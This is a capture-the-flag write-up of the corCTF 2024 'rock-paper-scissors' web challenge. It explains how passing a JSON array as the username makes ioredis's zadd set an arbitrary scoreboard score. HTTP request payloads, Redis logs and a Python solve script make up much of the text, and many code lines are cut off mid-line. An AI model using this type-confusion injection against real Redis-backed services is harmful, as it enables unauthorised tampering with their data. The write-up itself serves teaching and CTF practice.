rock-paper-scissors

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Overview

- 79 solves / 138 points
- Author: @larry
- Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆

Background

can you beat fizzbuzz at rock paper scissors?



Enumeration

Index page:



Upon visiting, we're met with a prompt, which requires us to submit our username:



Burp Suite HTTP history:



```
https://rock-paper-scissors-5c9bbb4a67ce5e8d.be.ax/
Content-Type: application/json
Content-Length: 21
Origin: https://rock-paper-scissors-5c9bbb4a67ce5e8d.be.ax
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Te: trailers

{
  "username":"siunam"
}
```

```
OK
```

After submitting our username, it'll send a POST request to `/new`, with a JSON body data. Then, the server respond us with a new cookie called `session`.

In the `session` cookie's value, it starts with `ey`, which is base64 encoded character `{` (I knew this from experience). Also, it has 3 parts and the delimiter is `.`. That being said, the session cookie is a JWT (JSON Web Token).

Now, in the index page, we can click one of those three buttons to play the game "Rock paper scissors":



Burp Suite HTTP history:



After clicking, it'll send a POST request to `/play`, with a JSON body data. If we lose the game, the server will respond us with JSON key `state` value `end`.

Also, we can click the "Scoreboard" link to see all the scores:



As you can see, I have `0` score, and user `FizzBuzz101` has `1336`.

Hmm… Based on this challenge's description, we need to somehow beat user `FizzBuzz101`, which means we need to achieve score greater than `1336`.

There's not much we can do in here! Let's read this web application's source code!

In this challenge, we can download a file:

```
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors)-[2
└> file rock-paper-scissors.tar.gz
rock-paper-scissors.tar.gz: gzip compressed data, from Unix, ori
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors)-[2
└> tar xvzf rock-paper-scissors.tar.gz
rock-paper-scissors/
rock-paper-scissors/docker-compose.yml
rock-paper-scissors/index.js
rock-paper-scissors/package-lock.json
rock-paper-scissors/package.json
rock-paper-scissors/static/
rock-paper-scissors/static/main.js
rock-paper-scissors/static/scoreboard.html
rock-paper-scissors/static/scoreboard.js
rock-paper-scissors/static/index.html
rock-paper-scissors/Dockerfile
```

After reading the source code, we can have the following findings:

1. The web application is written in Node.js with Fastify web framework
2. The JWT signing and verification uses Fastify's jwt
3. The database is using Redis, a memory-based database. The web application uses the ioredis as the Redis client

Now, let's dive into the `rock-paper-scissors/index.js`, the main logic of this web application.

First off, what's our objective of this challenge? Where's the flag?

In GET route `/flag`, we can see that after the application verifying our JWT, it'll query the Redis database and get our username's `score`. **If our `score` is greater than `1336`**, it'll return the flag:

```
import Redis from 'ioredis';
import fastify from 'fastify';
[...]
import fastifyJwt from '@fastify/jwt';
[...]
```

```
const redis = new Redis(6379, "redis");
const app = fastify();
[...]
app.register(fastifyJwt, { secret: process.env.SECRET_KEY || ran

app.register(fastifyCookie);

await redis.zadd('scoreboard', 1336, 'FizzBuzz101');
[...]
app.get('/flag', async (req, res) => {
    try {
        await req.jwtVerify();
    } catch(e) {
        return res.status(400).send({ error: 'invalid token' });
    }
    const score = await redis.zscore('scoreboard', req.user.user
    if (score && score > 1336) {
        return res.send(process.env.FLAG || 'corctf{test_flag}')
    }
    return res.send('You gotta beat Fizz!');
})
```

With that said, our objective is **somehow reach to `score > 1336`**.

Hmm… Now I wonder how the game's logic works.

In POST route `/play`, the application randomly picks 🪨 (rock), 📄 (paper), or ✂️ (scissor) via `randomInt` from the `crypto` module provided by Node.js.

If our throw matches the application one, the Redis client increments 1 of our game's score. **Otherwise the Redis client gets the final score of our game, delete the key, and add/update the final score to key `scoreboard`:**

```
import { randomBytes, randomInt } from 'node:crypto';
[...]
const winning = new Map([
    ['🪨', '📄'],
    ['📄', '✂️'],
    ['✂️', '🪨']
]);
[...]
```

```
app.post('/play', async (req, res) => {
    try {
        await req.jwtVerify();
    } catch(e) {
        return res.status(400).send({ error: 'invalid token' });
    }
    const { game, username } = req.user;
    const { position } = req.body;
    const system = ['🪨', '📄', '✂️'][randomInt(3)];
    if (winning.get(system) === position) {
        const score = await redis.incr(game);

        return res.send({ system, score, state: 'win' });
    } else {
        const score = await redis.getdel(game);
        if (score === null) {
            return res.status(404).send({ error: 'game not found
        }
        await redis.zadd('scoreboard', score, username);
        return res.send({ system, score, state: 'end' });
    }
});
```

Cool. How about the JWT signing logic?

In POST route `/new`, it generates a new random game ID and set the game ID's score to `0`. After that, it signs the JWT with our username and the game ID:

```
app.post('/new', async (req, res) => {
    const { username } = req.body;
    const game = randomBytes(8).toString('hex');
    await redis.set(game, 0);
    return res.setCookie('session', await res.jwtSign({ username
});
```

Now, let's think about how can we achieve score that's greater than `1336`.

When this web application is started, it uses ioredis's [class Redis]'s method [zadd] to add username `FizzBuzz101` with score `1336` into the Redis database.

Since there's no checks to validate duplicated usernames, can we use username `FizzBuzz101` and win a game to gain score `1337`?

Well, nope. When the application generates a new game ID via class `Redis` method `set`, it sets the score to `0`. If we win a game, the score will be incremented to `1`. If we then lose the game, it just update the username `FizzBuzz101`'s score to `1`.

Hmm… Maybe we can predict the application's random throw via `randomInt`? Unfortunately, also a big nope. The `randomInt` method from `crypto` module is generated by CPRNG (Cryptographically Secure Pseudorandom Number Generator). Therefore, we can't predict the application's throw.

I also thought about batch request, which means sending all the possible `position` values. However, our `position` check is compared via strict comparison (`===`):

```
if (winning.get(system) === position) {
[...]
```

So nope, it also checks the type of our `position`.

Based on the sources and sinks model, we could try to figure out how we can achieve score greater than `1336`.

The sink (Dangerous function) in this case, is **class `Redis` method `zadd`** in POST route `/play`:

```
app.post('/play', async (req, res) => {
    [...]
    if (winning.get(system) === position) {
        [...]
    } else {
        [...]
        await redis.zadd('scoreboard', score, username);
        [...]
    }
});
```

If we can somehow add/update our score to be greater than `1336`, we're can get the flag!

The sources (User inputs) in the above sink, is **our `username`**:

```
app.post('/play', async (req, res) => {
    try {
        await req.jwtVerify();
    } catch(e) {
        return res.status(400).send({ error: 'invalid token' });
    }
    const { game, username } = req.user;
    [...]
});
```

However, my small brain cannot comprehend what could go wrong between our username and method `zadd`.

After the CTF Ended

After reading some writeups when the CTF ended, I learned that **we can parse our username as an array into the `zadd` method**!

If we Google "ioredis zadd", there's a result of [this GitHub Issue]:



After reading a little bit, [this comment] brought my attention:

> […]Since ioredis flattens arguments, the following form is supported:
>
> ```
> redis.zadd('key', [17, 'a'], [18, 'b'], [19, 'c'])
> ```

Huh? Wait it supports multiple scores??

If we look at the **Redis official documentation about command ZADD** (I was looking at the ioredis documentation smh), the syntax is like the following:

```
ZADD key [NX | XX] [GT | LT] [CH] [INCR] score member [score mem
```

For simplicity, we'll ignore those optional arguments in the middle (Arguments that are in brackets, such as `[NX]`):

```
ZADD key score member [score member...]
```

As you can see, the `ZADD` command actually supports multiple score and member pair. For instance, the following `ZADD` command set key `scoreboard`'s score `123` to `dummy_username` and score `1337` to `flag_username`:

```
ZADD scoreboard 123 "dummy_username" 1337 "flag_username"
```

In this challenge, there's **no type validation** at all, so we can **parse our username as an array to trick the `zadd` method to set multiple members' score**!

Exploitation

To test this, we can build the Docker images and run the containers locally:

```
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors)-[2
└> cd rock-paper-scissors
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors/roc
└> docker compose -f "docker-compose.yml" up -d --build
[...]
```

Now, to check the Redis logs in real-time, we can go to our Redis container and use command `MONITOR`:

```
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors/roc
└> docker container list
CONTAINER ID   IMAGE                          COMMAND
5dc55349c71a   rock-paper-scissors-chall      "docker-entrypoint.s…
```

```
3efdf78fc5dc   redis                     "docker-entrypoint.s…
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors/roc
└> docker exec -it 3efdf78fc5dc /bin/bash
root@3efdf78fc5dc:/data# redis-cli monitor
OK
```

Then, we can go to `localhost:8080` and test it!

First, we'll need to let the application to sign our JWT with the following payload and get the `session` cookie:

```
POST /new HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 52

{
  "username": [
    "dummy_username",
    1337,
    "flag_username"
  ]
}
```



Then, use the new `session` cookie to **lose** once in the game at POST route `/play`:

```
POST /play HTTP/1.1
Host: localhost:8080
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmF
Content-Type: application/json
Content-Length: 15

{
  "position": ""
}
```



In our Redis log, we should see this:

```
1722253842.766544 [0 172.18.0.3:45722] "zadd" "scoreboard" "0" "
```

As you can see, the `ZADD` command sets score `0` to `dummy_username`, score `1337` to `flag_username`.

If we check the scoreboard, we should be able to see username `flag_username` has score `1337`:



flag_username	1337
FizzBuzz101	1336
dummy_username	0

Back to game

Nice! We can try to **get the flag at GET route `/flag`**.

But before we do that, make sure our JWT's `username` claim is `flag_username`:

```
POST /new HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 28

{
  "username":"flag_username"
}
```




```
GET /flag HTTP/1.1
Host: localhost:8080
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmF
```





Nice!

Now, let's write a solve script to get the real flag!

```python
#!/usr/bin/env python3
import requests

class Solver:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.session = requests.session()
        self.CREATE_NEW_USERNAME_ENDPOINT = f'{self.baseUrl}/new
        self.DUMMY_USERNAME = 'dummy_username'
        self.SET_TO_SCORE = 1337
        self.FLAG_USERNAME = 'flag_username'
        self.PLAY_GAME_ENDPOINT = f'{self.baseUrl}/play'
        self.GET_FLAG_ENDPOINT = f'{self.baseUrl}/flag'

    def createNewUsername(self, bodyData):
        print(f'[*] Creating new username with body data: {bodyD
        self.session.post(self.CREATE_NEW_USERNAME_ENDPOINT, jso

    def playGame(self):
        print(f'[*] Losing the game intentionally...')
        bodyData = { 'position': '' }
        self.session.post(self.PLAY_GAME_ENDPOINT, json=bodyData

    def getFlag(self):
        print(f'[*] Getting the flag...')
        return self.session.get(self.GET_FLAG_ENDPOINT).text

    def solve(self):
```

```
            bodyData = {
                'username': [
                    self.DUMMY_USERNAME,
                    self.SET_TO_SCORE,
                    self.FLAG_USERNAME
                ]
            }
            self.createNewUsername(bodyData)
            self.playGame()

            bodyData = { 'username': self.FLAG_USERNAME }
            self.createNewUsername(bodyData)

            flag = self.getFlag()
            if not flag:
                print('[-] We couldn\'t get the flag!')
                return

            print(f'[+] We got the flag: {flag}')

    if __name__ == '__main__':
        baseUrl = 'https://rock-paper-scissors-c0a55f84c298d61f.be.a
        solver = Solver(baseUrl)

        solver.solve()
```

```
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/rock-paper-scissors)-[2
└> python3 solve.py
[*] Creating new username with body data: {'username': ['dummy_u
[*] Losing the game intentionally...
[*] Creating new username with body data: {'username': 'flag_use
[*] Getting the flag...
[+] We got the flag: corctf{lizard_spock!_a8cd3ad8ee2cde42}
```

> **Flag: corctf{lizard_spock!_a8cd3ad8ee2cde42}**

Conclusion

What we've learned:

1. Missing type validation